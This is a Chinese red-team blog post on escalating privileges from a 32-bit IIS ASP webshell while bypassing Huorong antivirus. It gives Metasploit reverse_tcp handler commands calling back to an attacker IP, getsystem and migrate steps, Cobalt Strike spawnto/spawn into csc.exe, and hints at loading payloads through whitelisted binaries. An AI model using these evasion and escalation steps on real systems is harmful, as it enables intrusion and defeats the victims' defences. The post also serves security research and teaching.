文章总结: 本文记录在x86架构与火绒安全防护环境下的提权测试。针对IIS权限受限及插件失效问题,作者尝试了ASP上线MSF、利用MSF迁移注入x64进程(如csc.exe)以规避内存防护并执行.NETPotato等方案。尽管实战中受限于严格权限导致部分方法失效,但文章总结了利用架构差异与白名单工具绕过防御的思路,建议针对具体场景灵活测试。 综合评分: 82 文章分类: 渗透测试,红队,内网渗透,免杀,实战经验
记一次艰难绕过x86+某绒场景提权
原创
3had0w
潇湘信安
2026年1月5日 09:06 湖南
| | | — | | 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。 请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 |
现在只对常读和星标的公众号才展示大图推送,建议大家把“潇湘信安”设为星标,否则可能看不到了!
0x00 前言
很久没写文章了,今天给大家分享前段时间某师傅遇到的一个比较苛刻的x86 + 火绒的提权场景测试以及解决绕过方法,之前写的文章烂尾了,这里先简单记录分享下,等知识库整的差不多了再重新写篇,文中记录的方法仅供参考(我本地可以,他实战不行!),大家可以自己去测试一下!!!
今年大部分时间都花在知识库上了(暂未对外开放),星球还有没加的师傅可以V我:S_3had0w
0x01 测试环境
Windows 10(物理机 + BIOS开启虚拟化)火绒安全防护软件 6.0.6.6 - 已升级至最新版病毒库:2025-07-07 20:29IIS10.0 (仅支持ASP脚本)启用32位应用程序 = TrueIIS APPPOOL\DefaultAppPool
0x02 问题简述
问题一:
中国蚁剑的ASP Webshell,中间件为x86运行,IIS APPPOOL权限,在虚拟终端执行命令和exe时会出现这个报错:[Err] 没有权限,而且经过测试后发现该网站仅支持ASP脚本,无法通过上传ASP.NET、PHP脚本绕过命令执行,如下图所示。
解决一:
使用咱们星球之前发的ASP上线脚本成功上线了一个x86CS会话,这里必须使用Cobalt Strike或其他C2生成的x86shehllcode,关于如何制作ASP上线CS脚本和静态免杀的详情可参考我之前写的以下两篇文章,只要照着去操作就OK了,如下图所示。
1.简单制作用于上线CS的ASP脚本
2.简单制作免杀上线CS的ASP脚本
原始上线MSF的ASP脚本会被查杀
问题二:
x86环境下PostExpKit插件的很多功能无法使用(如:内存执行、进程注入等),这是因为现在x86环境并不多,大多数人写的插件都是x64,所以在x86环境下无法使用。而且还存在火绒的内存防护,要么不支持x86,要么执行被拦截,如下图所示。
execute-assembly x86下被火绒内存防护拦截inline-ea x86下不支持使用inlineExecute-Assembly x86下不支持使用shell、run、execute 等命令均提示没有权限...SNIP...
目前所遇到的问题就是在我们已成功上线了一个的x86CS会话,但在这个会话下无法直接执行.NET Potato进行提权,也不能单独执行一个x64的CS木马上线一个x64会话,还有迁移注入到其他x64进程等方法也均以失败告终…。
下边我们一起来看下如何在这种x86 + 火绒 的场景下绕过其防护进行进程注入和权限提升。
0x03 绕过方法
绕过一:
如果目标站支持.Net时我们可以先上传一个.Net Webshell,然后再使用哥斯拉特战版的InlineExecuteAssembly执行.NET Potato即可得到System Session,如下图所示。
绕过二:
首先我们需要重新生成一个msf x86 shellcode使用ASP脚本上线MSF,需提前设置好监听。这里可以先尝试使用MSF的getsystem命令提权,有一定成功机率…,如下图所示。
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.1.120 msf6 exploit(multi/handler) > set lport 9999 msf6 exploit(multi/handler) > exploit
meterpreter > getuid meterpreter > getsystem meterpreter > getuid meterpreter > sysinfo
绕过三:
CS+MSF配合,首先我们在CS那边执行spawnto csc -> 然后再执行spawn创建csc.exe(被拦截)->exit退出后就会跳出w3wp.exe父进程 -> 最后再使用MSF的migrate命令即可成功注入到刚跳出w3wp.exe父进程的x64的csc.exe进程,当时我测试是这样的,可能与测试环境有关,如下图所示。
spawnto x64 C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe spawn x64 # 不存在火绒时可直接上线x64会话,反之则会被火绒内存防护拦截
migrate 9244
或者我们在实战中遇到类似场景时也可以去试下post/windows/manage/archmigrate这个模块,archmigrate模块描述和使用方法如下:
这个模块会检查 meterpreter 架构是否与操作系统架构相同,如果不兼容,则会生成一个具有正确架构的新进程并迁移到该进程中。
msf > use post/windows/manage/archmigrate msf post(archmigrate) > show actions msf post(archmigrate) > set ACTION < action-name > msf post(archmigrate) > run
如成功注入到跳出父进程的csc.exe进程后再用MSF的execute_dotnet_assembly模块去执行.NET Potato,最后再执行一个免杀CS马即可获取System Session,如下图所示。
0x04 注意事项
“绕过三”中的方法在7月8日测试时还是可以的,但8月12日重写这篇文章复现时发现已经不行了…!
针对防护的绕过和免杀方法都是有时效性的,即使之前的方法失效了也很正常(平常心),实战中得根据所遇场景自己多去测试…!!!
ASP、.NET脚本上线虽然可以绕过一些防护,但容易把IIS应用池搞挂掉,谨慎使用!
制作上线脚本时,请勿使用x64的shellcode,x64的shellcode无法在32位的iis下运行。
x86会话下PostExpKit插件中的很多功能都无法使用,而且火绒的内存防护也拦的厉害。
如果iis是32位的情况下使用哥斯拉的ShellcodeLoader功能注入shellcode到x64进程时会提示错误6。
0x05 文末总结
根据他在实战中遇到的这个场景和描述我们在本地测试的以上方法均可成功绕过火绒内存防护执行进程注入和提权exp,但他那个实战目标还是一台星外虚拟主机,权限设置的也很死,最后貌似没有成功,说是只能想办法迁移到系统白名单的x64进程下才可成功Bypass…。
最后由于授权问题,我没有去他那个实战目标上测试,具体是个啥情况我也不是很清楚,我们在实战中会遇到各种各样场景,只有自己上手测了才知道能不能搞…。
0x06 思路补充
他那个星外虚拟主机权限设置很死,Web目录下不能上传.exe(无其他可读写目录),但可以上传.asp、.com等这些(具体需自行测试),不过也没法直接去执行(提示没有权限),说是自带的csc编译的都没权限,csc编译产生的那个临时文件都给拒绝了,如下图所示。
但从他给的截图中可以看到在MSF会话下可以使用execute命令执行x64的csc.exe,这里我们可以尝试使用msbuild执行xml,或者其他一些可以远程加载payload的白名单看看能不能上线一个x64 CS会话,如果可以则直接使用我们的PostExpKit插件进行提权测试即可。
关注我们
还在等什么?赶紧点击下方名片开始学习吧
知 识 星 球
星球已过800人,暂不再发放优惠券,如还有需要的师傅可加我VX:S_3had0w,等你一起来学习…!
推 荐 阅 读
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:潇湘信安 3had0w《记一次艰难绕过x86+某绒场景提权》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论